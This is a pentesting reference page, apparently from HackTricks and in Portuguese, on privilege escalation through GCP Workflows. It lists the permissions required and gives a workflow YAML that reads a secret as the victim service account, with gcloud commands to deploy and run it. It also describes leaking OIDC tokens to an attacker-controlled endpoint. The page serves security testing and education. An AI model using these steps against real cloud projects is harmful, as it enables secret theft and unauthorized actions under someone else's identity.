GCP - Workflows Privesc

Support HackTricks

Workflows

Informações Básicas:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Até onde sei, não é possível obter um shell com acesso ao endpoint de metadados contendo as credenciais da SA atacada a um Workflow. No entanto, é possível abusar das permissões da SA adicionando as ações a serem executadas dentro do Workflow.

É possível encontrar a documentação dos conectores. Por exemplo, esta é a página do conector Secretmanager. Na barra lateral, é possível encontrar vários outros conectores.

E aqui você pode encontrar um exemplo de um conector que imprime um segredo:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

Atualização a partir da CLI:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Se você não tiver acesso à web, é possível acionar e ver a execução de um Workflow com:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Você também pode verificar a saída de execuções anteriores para procurar informações sensíveis

Note que mesmo se você receber um erro como PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... porque você não tem essa permissão, o fluxo de trabalho foi gerado.

Vazamento de token OIDC (e OAuth?)

De acordo com a documentação, é possível usar etapas de fluxo de trabalho que enviarão uma solicitação HTTP com o token OAuth ou OIDC. No entanto, assim como no caso do Cloud Scheduler, a solicitação HTTP com o token Oauth deve ser para o host .googleapis.com.

Portanto, é possível vazar o token OIDC indicando um endpoint HTTP controlado pelo usuário, mas para vazar o token OAuth você precisaria de um bypass para essa proteção. No entanto, você ainda pode contatar qualquer API GCP para realizar ações em nome da SA usando conectores ou solicitações HTTP com o token OAuth.

Oauth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Com esta permissão em vez de workflows.workflows.create, é possível atualizar um fluxo de trabalho já existente e realizar os mesmos ataques.

Support HackTricks

Last updated